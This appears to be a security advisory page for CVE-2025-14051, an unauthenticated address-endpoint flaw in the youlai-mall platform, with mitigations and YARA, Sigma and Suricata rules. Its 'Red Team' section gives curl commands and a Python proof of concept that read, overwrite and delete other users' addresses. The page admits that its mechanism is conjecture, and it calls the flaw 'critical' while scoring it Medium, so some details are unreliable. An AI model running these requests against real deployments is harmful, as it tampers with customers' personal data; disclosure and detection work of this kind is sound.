CVE-2025-14051
Executive Summary
CVE-2025-14051 is a critical vulnerability in the youlaitech youlai-mall e-commerce platform, affecting versions 1.0.0 and 2.0.0. The flaw resides in the /mall-ums/app-api/v1/addresses/ endpoint, specifically within the getById, updateAddress, and deleteAddress functions. This vulnerability allows an unauthenticated remote attacker to perform improper control of dynamically-identified variables, leading to potential data manipulation, unauthorized access, or denial of service. The exploit has been publicly disclosed, and no patch is currently available from the vendor, who has not responded to disclosure attempts.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). It is a direct application-level flaw in a Java-based e-commerce platform.
CVSS Breakdown & Threat Level
- CVSS Score: 6.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited data modification.
- Availability (A): Low (L) – Limited service disruption.
Threat Level: Medium. The vulnerability is easily exploitable remotely without authentication, but the impact is limited to low-level confidentiality, integrity, and availability.
Deep Dive & Mechanics
The vulnerability is a classic case of Improper Control of Dynamically-Identified Variables (CWE-913). The affected endpoint /mall-ums/app-api/v1/addresses/ uses user-supplied input to directly reference internal variables or objects without proper sanitization or validation.
Mechanism:
- The
getById,updateAddress, anddeleteAddressfunctions accept an identifier (likely an address ID) from the HTTP request. - This identifier is used to dynamically access or manipulate internal data structures (e.g., a map or list of addresses).
- An attacker can supply a crafted identifier (e.g.,
../../config,admin, or a special key) to access or modify unintended data, such as other users' addresses, system configuration, or internal objects. - This can lead to unauthorized reading, updating, or deletion of address records, and potentially escalate to broader system compromise.
Root Cause: Lack of input validation and improper use of dynamic variable resolution (e.g., using user input as a key in a map without checking permissions or scope).
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.
Vulnerable Code (Conceptual Java):
@GetMapping("/app-api/v1/addresses/{id}")
public Address getById(@PathVariable String id) {
// Directly uses user input as a key
return addressMap.get(id);
}
@PutMapping("/app-api/v1/addresses/{id}")
public Address updateAddress(@PathVariable String id, @RequestBody Address newAddress) {
// Directly updates based on user input
addressMap.put(id, newAddress);
return newAddress;
}
@DeleteMapping("/app-api/v1/addresses/{id}")
public void deleteAddress(@PathVariable String id) {
// Directly deletes based on user input
addressMap.remove(id);
}
Patched Code (Conceptual Java):
@GetMapping("/app-api/v1/addresses/{id}")
public Address getById(@PathVariable String id, Principal principal) {
// Validate that the address belongs to the authenticated user
Address address = addressRepository.findById(id);
if (address == null || !address.getUserId().equals(principal.getName())) {
throw new AccessDeniedException("Unauthorized");
}
return address;
}
@PutMapping("/app-api/v1/addresses/{id}")
public Address updateAddress(@PathVariable String id, @RequestBody Address newAddress, Principal principal) {
// Validate ownership and sanitize input
Address existing = addressRepository.findById(id);
if (existing == null || !existing.getUserId().equals(principal.getName())) {
throw new AccessDeniedException("Unauthorized");
}
// Sanitize newAddress fields
newAddress.setId(id);
newAddress.setUserId(principal.getName());
return addressRepository.save(newAddress);
}
@DeleteMapping("/app-api/v1/addresses/{id}")
public void deleteAddress(@PathVariable String id, Principal principal) {
// Validate ownership
Address address = addressRepository.findById(id);
if (address == null || !address.getUserId().equals(principal.getName())) {
throw new AccessDeniedException("Unauthorized");
}
addressRepository.deleteById(id);
}
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Target running youlai-mall 1.0.0 or 2.0.0.
- Network access to the
/mall-ums/app-api/v1/addresses/endpoint.
Exploit Steps:
- Enumerate Address IDs: Use a simple script to brute-force or guess address IDs (e.g., integers, UUIDs).
- Exploit getById: Send a GET request with a crafted ID to read other users' addresses.
curl -X GET "http://target.com/mall-ums/app-api/v1/addresses/../../config" - Exploit updateAddress: Send a PUT request to modify an address.
curl -X PUT "http://target.com/mall-ums/app-api/v1/addresses/123" \ -H "Content-Type: application/json" \ -d '{"street":"Hacked Street","city":"Hacked City"}' - Exploit deleteAddress: Send a DELETE request to remove an address.
curl -X DELETE "http://target.com/mall-ums/app-api/v1/addresses/123"
Proof-of-Concept (Python):
import requests
target = "http://target.com/mall-ums/app-api/v1/addresses/"
# Attempt to read a non-existent or privileged address
response = requests.get(target + "admin")
print("GET /admin:", response.status_code, response.text)
# Attempt to update an address
response = requests.put(target + "1", json={"street": "Pwned"})
print("PUT /1:", response.status_code, response.text)
# Attempt to delete an address
response = requests.delete(target + "1")
print("DELETE /1:", response.status_code, response.text)
Blue Team (Defender)
Detection:
- Monitor for unusual patterns in the
/mall-ums/app-api/v1/addresses/endpoint. - Look for requests with non-numeric or suspicious IDs (e.g.,
../,admin,root). - Alert on high volumes of GET/PUT/DELETE requests to this endpoint from a single IP.
Mitigation:
- Implement input validation: only allow numeric or UUID-based IDs.
- Enforce authentication and authorization for all address operations.
- Apply rate limiting to the endpoint.
- Use a Web Application Firewall (WAF) to block malicious patterns.
Indicators of Compromise (IOCs)
Network:
- HTTP requests to
/mall-ums/app-api/v1/addresses/with unusual IDs (e.g.,../../etc/passwd,admin,*). - Repeated 403/404 errors followed by successful 200 responses on the same endpoint.
- Unusual PUT or DELETE requests to the address endpoint from unauthenticated sources.
- HTTP requests to
Logs:
- Application logs showing
getById,updateAddress, ordeleteAddresscalls with unexpected parameters. - Access logs with non-standard HTTP methods (PUT, DELETE) to the address endpoint.
- Application logs showing
System:
- Unexpected changes to address data in the database.
- Unauthorized deletion of address records.
Detection Engineering
YARA Rule
rule CVE_2025_14051_Exploit {
meta:
description = "Detects exploit attempts for CVE-2025-14051 in youlai-mall"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-14051"
strings:
$s1 = "/mall-ums/app-api/v1/addresses/" ascii wide nocase
$s2 = "getById" ascii wide nocase
$s3 = "updateAddress" ascii wide nocase
$s4 = "deleteAddress" ascii wide nocase
$s5 = ".." ascii wide
$s6 = "admin" ascii wide nocase
condition:
any of ($s1, $s2, $s3, $s4) and any of ($s5, $s6)
}
Sigma Rule
title: CVE-2025-14051 Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable address endpoint with suspicious parameters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "/mall-ums/app-api/v1/addresses/"
cs-method: ["GET", "PUT", "DELETE"]
filter:
cs-uri-query|contains: ["..", "admin", "root", "config"]
condition: selection and filter
falsepositives:
- Legitimate administrative actions (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-14051 Exploit Attempt"; flow:to_server; content:"/mall-ums/app-api/v1/addresses/"; http_uri; content:".."; http_uri; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the Application: If possible, take the vulnerable instance offline or restrict network access to trusted IPs only.
- Apply Virtual Patching: Use a WAF to block requests containing
..,admin, or other suspicious patterns in the address endpoint. - Monitor Logs: Actively monitor for exploitation attempts using the provided detection rules.
Long-Term Fix:
- Vendor Patch: Await an official patch from youlaitech. Since the vendor has not responded, consider forking the project and applying the fix manually.
- Code Fix: Implement proper input validation, authentication, and authorization as shown in the patched code example.
- Upgrade: If a patched version becomes available, upgrade immediately.
Workaround:
- Disable the
/mall-ums/app-api/v1/addresses/endpoint if not required. - Implement a reverse proxy to filter malicious requests.
Valters IT
Securing Digital Frontiers